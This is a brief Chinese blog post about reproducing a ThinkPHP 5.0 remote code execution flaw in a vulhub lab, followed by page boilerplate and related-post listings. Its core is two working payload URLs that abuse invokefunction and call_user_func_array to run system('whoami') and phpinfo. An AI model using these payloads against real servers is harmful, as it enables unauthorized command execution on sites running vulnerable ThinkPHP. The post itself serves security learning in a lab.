vulhub之thinkphp复现

已于 2022-05-07 16:14:50 修改
阅读量722 收藏
点赞数
分类专栏： 自学 文章标签： web安全
于 2022-05-07 16:03:08 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_47346400/article/details/124632222
版权

1.搭建环境。
在这里插入图片描述
2.利用thinkphp检测工具扫描出对应的payload，直接上
在这里插入图片描述
在这里插入图片描述
3.针对rce-5.0的payload

http://192.168.2.134:8080/index.php/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入代码片?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

在这里插入图片描述

一只会飞的猪-FlaggingPig1
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[ vulhub漏洞复现篇 ] Thinkphp SQL注入 && 敏感信息泄露
qq_51577576的博客
09-29 1653
[ vulhub漏洞复现篇 ] Thinkphp SQL注入 && 敏感信息泄露 ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。 Thinkphp5X设计缺陷导致泄漏数据库账户密码
vulhub-thinkphp漏洞复现
qq_51922767的博客
09-14 2430
vulhub-thinkphp漏洞复现
2024年网络安全最新寒假学习第11天--中间件漏洞--vulhub--thinkphp全系列(1)，2024年最新这些知识你必须拿下
最新发布
2401_84132565的博客
05-12 277
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞
不曾扬帆，何以至远方
07-17 1900
Thinkphp 5 远程代码执行漏洞
[Vulhub] ThinkPHP漏洞合集
weixin_45605352的博客
05-11 2418
0x01 复现环境 攻击机：kali linux，Windows 10 x64 靶机：XXE（下载链接https://www.vulnhub.com/entry/xxe-lab-1,254/） 网络设置：均为桥接模式 0x02 漏洞复现 主机发现&端口扫描 先确定靶机ip地址，这里用arp-scan -l命令探测内网： 发现靶机地址为192.168.43.228，接下来用nmap -sV -p- 192.168.43.228 扫描一下： -sV：探测端口服务版本；-p：指定端口；-v：显示扫描过
vulfocus复现：thinkphp lang 命令执行（thinkphp:6.0.12）
m0_71518346的博客
12-18 3410
在其6.0.13版本及以前，存在一处本地文件包含漏洞。当多语言特性被开启时，攻击者可以使用lang参数来包含任意PHP文件。虽然只能包含本地PHP文件，但在开启了register_argc_argv且安装了pcel/pear的环境下，可以包含/usr/local/lib/php/pearcmd.php并写入任意文件访问路径诶：/public/index.php。
ThinkPHP之getField详解
10-25
主要介绍了ThinkPHP的getField方法,需要的朋友可以参考下
ThinkPHP之R方法实例详解
10-25
主要介绍了ThinkPHP的R方法,需要的朋友可以参考下
thinkphp漏洞检测工具
06-06
ThinkPHP是中国最流行的PHP框架之一，因其强大的功能和易用性深受开发者喜爱。然而，任何软件系统都可能存在安全漏洞，ThinkPHP也不例外。为了保障Web应用的安全，开发者和安全专家们开发了一系列针对ThinkPHP的漏洞...
Thinkphp 使用Dompdf
06-08
Thinkphp 使用Dompdf
thinkphp系列漏洞复现(组合拳-vulhub里的)
m0_58596609的博客
01-07 1481
thinkphp系列漏洞复现(组合拳)
Vulhub复现--ThinkPHP框架系列（一）
tzyyyyyy的博客
04-27 639
Vulhub靶场关于ThinkPHP框架的漏洞复现
【vulhub漏洞复现】Thinkphp 2.x 任意代码执行
RexHa的博客
02-28 2466
当preg_replace使用了/e模式，可以导致代码执行。该函数的正则规则和目标字符可以由用户进行输入。preg_replace 函数在匹配到符号正则的字符串时，会将替换字符（第二个参数）当做代码来执行。在ThinkPHP ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由，导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。
Vulhub/thinkphp漏洞复现
qq_45230030的博客
12-28 486
vulhub靶场thinkphp漏洞复现
Vulhub-thinkphp
Mccc_li的博客
08-09 567
文章目录ThinkPHP 2.x 任意代码执行漏洞漏洞原理 ThinkPHP 2.x 任意代码执行漏洞 漏洞原理 ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由： $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。 ThinkPHP 3.0版本因为Lite
Vulhub漏洞复现之ThinkPHP5.X SQL注入漏洞和敏感信息泄露漏洞
来到了学渣的博客
01-21 3304
我是啊锋，一个努力的学渣，作为一个刚进入安全大门的小白，我希望能把自己所学到的东西总结出来，分享到博客上，可以一起进步，一起交流，一起学习。 前文： 名字雷同但差个n的两种类型漏洞环境靶机：vulnhub与vulhub的区别 Vulhub漏洞复现之Dns域传送漏洞 Vulhub漏洞复现之Django (小于2.0.8)任意url跳转漏洞（CVE-2018-14574） 漏洞影响： <5....
vulhub靶场thinkphp漏洞复现
weixin_44300286的博客
03-08 1551
0x01、ThinkPHP 2.x 任意代码执行漏洞 原理 ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由： $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。 ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞，也存在这个漏洞。 漏洞复现 直接
ThinkPHP 远程命令执行漏洞复现(GetShell) 5.0.22版本
weixin_44133711的博客
05-11 1298
漏洞概况 ThinkPHP是一款国内流行的开源PHP框架，近日被爆出存在可能的远程代码执行漏洞，攻击者可向缓存文件内写入PHP代码，导致远程代码执行。虽然该漏洞利用需要有几个前提条件，但鉴于国内使用ThinkPHP框架的站点数量之多，该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。 漏洞危害 攻击者可通过该漏洞获取网站的...
Thinkphp5.1.4漏洞复现
05-11
以下是漏洞复现的步骤： 1. 下载 ThinkPHP 5.1.4，创建一个名为 `demo` 的项目。 2. 在 `demo/application/index/controller` 目录下创建一个名为 `Index.php` 的控制器，添加以下代码： ```php namespace ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值